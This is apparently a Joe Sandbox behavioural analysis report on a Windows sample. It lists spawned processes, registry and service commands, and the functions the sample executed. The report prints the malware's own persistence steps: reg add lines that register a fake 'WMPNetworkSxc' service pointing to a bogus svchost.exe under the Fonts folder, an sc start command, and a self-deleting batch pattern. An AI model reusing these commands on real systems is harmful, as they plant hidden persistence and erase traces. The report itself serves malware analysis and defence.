Commandline:	reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v AppDirectory /d "C:\Windows\Fonts\systkm32" /t reg_sz /f
Imagebase:	0x2e0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:43:03
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v Application /d ""C:\Program Files (x86)\VMware\VMware Workstation\vmware.exe" -x "C:\Windows\Logs\ubu\3333.vmx"" /t reg_sz /f
Imagebase:	0x2e0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:43:03
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1
Imagebase:	0x8c0000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:43:06
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc start WMPNetworkSxc
Imagebase:	0xf80000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:43:06
Start date:	11/06/2024
Path:	C:\Windows\Fonts\systkm32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Fonts\systkm32\svchost.exe
Imagebase:	0x1000000
File size:	8'192 bytes
MD5 hash:	4635935FC972C582632BF45C26BFCB0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:43:06
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1
Imagebase:	0x8c0000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:43:10
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\regini.exe
Wow64 process (32bit):	true
Commandline:	regini 1.ini
Imagebase:	0x6d0000
File size:	41'472 bytes
MD5 hash:	C99C3BB423097FCF4990539FC1ED60E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:43:41
Start date:	11/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 001E51C0 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(advapi32.dll,00000000,?,001E6949,?,?,?), ref: 001E51DF
GetProcAddress.KERNEL32(00000000,RegCreateKeyExW), ref: 001E51F9
GetProcAddress.KERNEL32(?,RegQueryValueW), ref: 001E5205
GetProcAddress.KERNEL32(?,RegSetValueW), ref: 001E5212
GetProcAddress.KERNEL32(?,RegQueryValueExW), ref: 001E521F
GetProcAddress.KERNEL32(?,RegSetValueExW), ref: 001E522C
GetProcAddress.KERNEL32(?,RegCloseKey), ref: 001E5239

Strings

RegSetValueW, xrefs: 001E5207
RegCreateKeyExW, xrefs: 001E51F3
RegQueryValueExW, xrefs: 001E5214
RegSetValueExW, xrefs: 001E5221
RegCloseKey, xrefs: 001E522E
advapi32.dll, xrefs: 001E51C6
RegQueryValueW, xrefs: 001E51FB

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: RegCloseKey$RegCreateKeyExW$RegQueryValueExW$RegQueryValueW$RegSetValueExW$RegSetValueW$advapi32.dll
API String ID: 2238633743-2643583418
Opcode ID: dbee8c0b595035dbb0c39b79a3ac5b57110c681252a4937bd86e16f86a989cf9
Instruction ID: 6b34c86f61133ff5b430bb708cb0b024a5885ca2ae7c661eaf9bf82aab6cfe7e
Opcode Fuzzy Hash: dbee8c0b595035dbb0c39b79a3ac5b57110c681252a4937bd86e16f86a989cf9
Instruction Fuzzy Hash: 6811CFF1A50B87FFCB108F6A8984805FEB5BB6A315704862A951982A41C7B4E4A0CFE1

Function 001F7C90 Relevance: 7.9, APIs: 5, Instructions: 428
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?,1FE05385,?,?,00000000), ref: 001F7CC8
_wcslen.LIBCMT ref: 001F7D0C
_wcslen.LIBCMT ref: 001F7EE1
DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 001F8096
DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 001F80D5

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: a5c69fe423b2e281e78d55631a80aa5486ad76ad4c907015e062a6e765516b4a
Instruction ID: 506a7722382fd2b2a29af725fc9ebfb24194d5eb682b725ba9b120ade7e9639f
Opcode Fuzzy Hash: a5c69fe423b2e281e78d55631a80aa5486ad76ad4c907015e062a6e765516b4a
Instruction Fuzzy Hash: CEF1F171910109DFCB04DFA8C8956FEBBB1AF45324F200229E625E72D1DB319A45CBA1

Function 002217B3 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,00221789,00000003,002445D0,0000000C,002218E0,00000003,00000002,00000000,?,00222A4D,00000003), ref: 002217D4
TerminateProcess.KERNEL32(00000000,?,00221789,00000003,002445D0,0000000C,002218E0,00000003,00000002,00000000,?,00222A4D,00000003), ref: 002217DB
ExitProcess.KERNEL32 ref: 002217ED

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 191d7e6a05fcb8e17162759e34f05c7ca14a5cba434099af63a268c0f8c74ca6
Instruction ID: 68a5db0688470caabb37dcf8f8aaeaa8856cb92b03cfc1a999343058eed776ad
Opcode Fuzzy Hash: 191d7e6a05fcb8e17162759e34f05c7ca14a5cba434099af63a268c0f8c74ca6
Instruction Fuzzy Hash: C0E0B631011218BBCF166FA4ED9DE487BA9EB91781F514024F9498A121CB35ED62CA50

Function 0020F8DE Relevance: .8, Instructions: 792COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fefeadbd2fe86053e8f72c54b201b9ab2c5038a79406d4a44ab31160c8ac6902
Instruction ID: 4c619be730093c002110619a7f3a500ea408ec5a7f5c31717817ea15abb9b635
Opcode Fuzzy Hash: fefeadbd2fe86053e8f72c54b201b9ab2c5038a79406d4a44ab31160c8ac6902
Instruction Fuzzy Hash: 9D624E715187428FC724EF24C491AAFB7E5FFA8304F10492DF89997292DB30E995CB92

Function 001EB901 Relevance: 40.5, APIs: 7, Strings: 16, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDesktopWindow.USER32 ref: 001EB924

Part of subcall function 001E8FE7: CreateSolidBrush.GDI32(00FFFFFF), ref: 001E9102

GetCommandLineW.KERNEL32(?), ref: 001EB987
CommandLineToArgvW.SHELL32(00000000), ref: 001EB98E
LocalFree.KERNEL32(00000000), ref: 001EBC81

Part of subcall function 001E1FBC: _wcslen.LIBCMT ref: 001E1FD5

Part of subcall function 001E48D2: _wcslen.LIBCMT ref: 001E48D9

_wcslen.LIBCMT ref: 001EBC11
_wcslen.LIBCMT ref: 001EBC3B
_wcslen.LIBCMT ref: 001EBC57

Strings

-S1, xrefs: 001EBAED
-SP, xrefs: 001EBBDD
/sp, xrefs: 001EBB83
/Sp, xrefs: 001EBBA7
-S2, xrefs: 001EBB45
/S1, xrefs: 001EBB03
-sP, xrefs: 001EBBB9
/sP, xrefs: 001EBBCB
-Sp, xrefs: 001EBB95
-s2, xrefs: 001EBB19
/s1, xrefs: 001EBAD7
-sp, xrefs: 001EBB71
/SP, xrefs: 001EBBEF
/s2, xrefs: 001EBB2F
/S2, xrefs: 001EBB5B
-s1, xrefs: 001EBAC1

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen$CommandLine$ArgvBrushCreateDesktopFreeLocalSolidWindow
String ID: -S1$-S2$-SP$-Sp$-s1$-s2$-sP$-sp$/S1$/S2$/SP$/Sp$/s1$/s2$/sP$/sp
API String ID: 2317144623-3438277477
Opcode ID: 1bb973359d9729c7d8273100a7f9254a459fd6218212253ae6744ff992da52dd
Instruction ID: acb2a662b8406120fd9925ede77adeed98107bcdcb57ab6e958c4ece2ccaa89d
Opcode Fuzzy Hash: 1bb973359d9729c7d8273100a7f9254a459fd6218212253ae6744ff992da52dd
Instruction Fuzzy Hash: 70A13D7010CAC187CB19EF52D8959AFB7A8AFB1344F500829F9C6131A2DF319D5ACB93

Function 001EB123 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 279
threadfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,?,?,?,00000000), ref: 001EB172
GetEnvironmentVariableW.KERNEL32(COMSPEC,?,00000104,?,?,?,?,?,00000000), ref: 001EB18D

Part of subcall function 001E248D: _wcslen.LIBCMT ref: 001E24AD
Part of subcall function 001E248D: _wcslen.LIBCMT ref: 001E24C8

Part of subcall function 001F7C90: MoveFileExW.KERNELBASE(?,?,0000000B,1FE05385,?,?,7FFFFFFE), ref: 001F78ED

_wcslen.LIBCMT ref: 001EB229
_wcslen.LIBCMT ref: 001EB243
_wcslen.LIBCMT ref: 001EB262
_wcslen.LIBCMT ref: 001EB27C
_wcslen.LIBCMT ref: 001EB29B
WriteFile.KERNELBASE(?,?,?,?,00000000,?,00000000,if not exist ",00000000,?,?,?,?,?,?,00000000), ref: 001EB33C

Part of subcall function 001F55D0: CloseHandle.KERNEL32(?,001EB2CE,?,"&%0)), ref: 001F55E1

Part of subcall function 001E3470: _wcslen.LIBCMT ref: 001E348B
Part of subcall function 001E3470: _wcslen.LIBCMT ref: 001E34A2

_wcslen.LIBCMT ref: 001EB3C2
ShellExecuteExW.SHELL32(?), ref: 001EB460
SetPriorityClass.KERNELBASE(?,00000040,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 001EB47C
GetCurrentProcess.KERNEL32(00000100,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 001EB487
SetPriorityClass.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 001EB48E
GetCurrentThread.KERNEL32 ref: 001EB496
SetThreadPriority.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 001EB49D

Part of subcall function 001F7C90: DeleteFileW.KERNEL32(?,1FE05385,?,?,00000000), ref: 001F7CC8

Strings

COMSPEC, xrefs: 001EB188
" (del %0) else (ping 127.0.0.1 -n 2&del ", xrefs: 001EB25C, 001EB261, 001EB269
if not exist ", xrefs: 001EB210, 001EB21B, 001EB230
.bat, xrefs: 001EB1D8
"&%0), xrefs: 001EB295, 001EB29A, 001EB2A2
/c ", xrefs: 001EB393

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen$File$Priority$ClassCurrentThread$CloseDeleteEnvironmentExecuteHandleModuleMoveNameProcessShellVariableWrite
String ID: " (del %0) else (ping 127.0.0.1 -n 2&del "$"&%0)$.bat$/c "$COMSPEC$if not exist "
API String ID: 621982200-1422638397
Opcode ID: e4773a67ad18447534395fd24691a9fb9826f806151cc40aca1cd40e790a4f52
Instruction ID: a275aa7a775199a1422ecbf9f7208e7457dd7ca990a4ab15b4fb1672a12b2ccd
Opcode Fuzzy Hash: e4773a67ad18447534395fd24691a9fb9826f806151cc40aca1cd40e790a4f52
Instruction Fuzzy Hash: 63A140B19156689BDB24EF21DC95BEEB778AF14340F4000E9E609A7191EF309F85CFA4

Function 001E9B6D Relevance: 36.2, APIs: 24, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003E9), ref: 001E9BDD
SetWindowTextW.USER32(?,?), ref: 001E9C0A
KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 001E9C14
GetDlgItem.USER32(?,000003EA), ref: 001E9C2A
SetWindowTextW.USER32(?,?), ref: 001E9C57
EnableWindow.USER32(?,00000001), ref: 001E9C62
GetDlgItem.USER32(?,000003EC), ref: 001E9C78
KiUserCallbackDispatcher.NTDLL(00000000,00000000), ref: 001E9C80
GetDlgItem.USER32(?,000003ED), ref: 001E9C8E
EnableWindow.USER32(00000000,00000000), ref: 001E9C9A
GetDlgItem.USER32(?,?), ref: 001E9CAE
SetWindowTextW.USER32(?,?), ref: 001E9CE0
GetDlgItem.USER32(?,000003EB), ref: 001E9CFE
GetWindowRect.USER32(00000000,?), ref: 001E9D0F
ScreenToClient.USER32(?,?), ref: 001E9D28
SetWindowPos.USER32(00000000,000000FE,?,?,?,?,00000044,?,00000000), ref: 001E9D4D
GetDlgItem.USER32(?,000003F0), ref: 001E9D5A
ShowWindow.USER32(00000000,00000005,?,00000000), ref: 001E9D67
GetDlgItem.USER32(?,000003F0), ref: 001E9D7E
ShowWindow.USER32(00000000,00000000,?,00000000), ref: 001E9D8A
GetDlgItem.USER32(?,000003EB), ref: 001E9D9E
GetWindowRect.USER32(00000000,?), ref: 001E9DAF
ScreenToClient.USER32(?,?), ref: 001E9DC8
SetWindowPos.USER32(00000000,000000FE,?,?,?,?,00000044,?,00000000), ref: 001E9DED

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Window$Item$Text$CallbackClientDispatcherEnableRectScreenShowUser
String ID:
API String ID: 3420555259-0
Opcode ID: fc7eb0937493d4d83a699e5dc5a20fdc53958620b4dde9b0e97077720b6dfc61
Instruction ID: 2f0628d55ae9cfaf55f7f2bcb64568b3606c831e65298e1a5928d79e0d1bec96
Opcode Fuzzy Hash: fc7eb0937493d4d83a699e5dc5a20fdc53958620b4dde9b0e97077720b6dfc61
Instruction Fuzzy Hash: 8A812B71A0064AEFDF119FE9EDDD9AEBBB9FF08300F144529F915A21A0DB319945CB20

Function 001E6100 Relevance: 24.9, APIs: 11, Strings: 3, Instructions: 406
synchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 001E6157
SetCurrentDirectoryW.KERNEL32(00000000), ref: 001E676D

Part of subcall function 001EC210: _wcschr.LIBVCRUNTIME ref: 001EC25C

Part of subcall function 001E6D61: CommandLineToArgvW.SHELL32(?,?,?,?,00000000,?,?,?,?,?,?,001E622A,?,?), ref: 001E6D8C

SetCurrentDirectoryW.KERNEL32(?,?,?), ref: 001E6239
_wcslen.LIBCMT ref: 001E633A
_wcslen.LIBCMT ref: 001E636B
ShellExecuteExW.SHELL32(?), ref: 001E6515
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 001E6558
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 001E6564
ShellExecuteW.SHELL32(00000000,002397B8,?,?,?,00000001), ref: 001E65C6
_wcslen.LIBCMT ref: 001E6681
MessageBoxW.USER32(?,?,?,00000000), ref: 001E66FF

Part of subcall function 001F12C0: _wcslen.LIBCMT ref: 001F132D

Strings

install, xrefs: 001E648E
.inf, xrefs: 001E6450
, xrefs: 001E61CD

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen$CurrentDirectory$ExecuteShell$ArgvCloseCommandHandleLineMessageObjectSingleWait_wcschr
String ID: $.inf$install
API String ID: 2805753210-3436187540
Opcode ID: f18bfb70fd7a46f18131bb1260b2c664b44852fc23c3f0958407dcefd68bc01a
Instruction ID: b47fd8c7550292c0df6608c1b0f5bda4e239802a9fbca34daddabdb8e09028b9
Opcode Fuzzy Hash: f18bfb70fd7a46f18131bb1260b2c664b44852fc23c3f0958407dcefd68bc01a
Instruction Fuzzy Hash: D2022B719026699BDF24EF65DD99BDDB3B8AF24340F6041EAE40DA2191DB306F88CF50

Function 001EAC1F Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 303
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003EB), ref: 001EACE3

Part of subcall function 001EAB81: GetDlgItem.USER32(?,000003EE), ref: 001EAB8D
Part of subcall function 001EAB81: __aulldiv.LIBCMT ref: 001EABD2
Part of subcall function 001EAB81: PostMessageW.USER32(00000000,00000402,00000000,?), ref: 001EABDE

KiUserCallbackDispatcher.NTDLL(?,00000002), ref: 001EAD74
_wcslen.LIBCMT ref: 001EADFF
GetDlgItem.USER32(?,000003EB), ref: 001EAE18
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 001EAE3A
PostMessageW.USER32(00000000,00000115,00000007,00000000), ref: 001EAE49
IsWindow.USER32(00000000), ref: 001EAEBA
_wcslen.LIBCMT ref: 001EAF4D
GetDlgItem.USER32(00000000,000003EB), ref: 001EAF66
IsWindow.USER32(00000000), ref: 001EAF73
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 001EAF94
PostMessageW.USER32(00000000,00000115,00000007,00000000), ref: 001EAFA4

Strings

..., xrefs: 001EADF9, 001EADFE, 001EAE06

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Message$Item$Post$SendWindow_wcslen$CallbackDispatcherUser__aulldiv
String ID: ...
API String ID: 1098214739-214521349
Opcode ID: d196aeac0b57e7ac37560c0978efce6ecf0c115517a5ae91a37995b15c4018ee
Instruction ID: 67f7e222563a4680e3308369fe868ff4984c9f14e1ddf4a7162d340220a8f956
Opcode Fuzzy Hash: d196aeac0b57e7ac37560c0978efce6ecf0c115517a5ae91a37995b15c4018ee
Instruction Fuzzy Hash: B9A10371608B809BC728AB66C8A9B6F77E9AF94700F40092DF49687191EB38E945C713

Function 001E9820 Relevance: 21.2, APIs: 14, Instructions: 160
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowTextW.USER32(?,?), ref: 001E9869
GetDlgItem.USER32(?,000003EB), ref: 001E98D3
_wcslen.LIBCMT ref: 001E98E9
IsWindow.USER32(00000000), ref: 001E9902
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 001E9920
IsWindow.USER32(00000000), ref: 001E993B
PostMessageW.USER32(00000000,00000115,00000007,00000000), ref: 001E994F
PostMessageW.USER32(?,00000111,00000001,00000000), ref: 001E9992
GetDlgItem.USER32(?,000003EE), ref: 001E99A2
IsWindow.USER32(00000000), ref: 001E99AF
PostMessageW.USER32(00000000,00000402,00000064,00000000), ref: 001E99C2
GetDlgItem.USER32(?,000003EA), ref: 001E99D0
IsWindow.USER32(00000000), ref: 001E99DD
SetWindowTextW.USER32(00000000,?), ref: 001E9A09

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Window$Message$ItemPost$Text$Send_wcslen
String ID:
API String ID: 3913434370-0
Opcode ID: 270086eb744b28c6e7fe6451c5a527f989270cb8b66ef238d059f7550fc5bbf8
Instruction ID: 86f7c2e751dd162e7d7188c7325eff55a5aa185c31dec9612431008154f31e88
Opcode Fuzzy Hash: 270086eb744b28c6e7fe6451c5a527f989270cb8b66ef238d059f7550fc5bbf8
Instruction Fuzzy Hash: 1F51A370A00A4ABFDB15EBB2EC9DBEEF7B8BF14304F100129F515A6092DB749945CB60

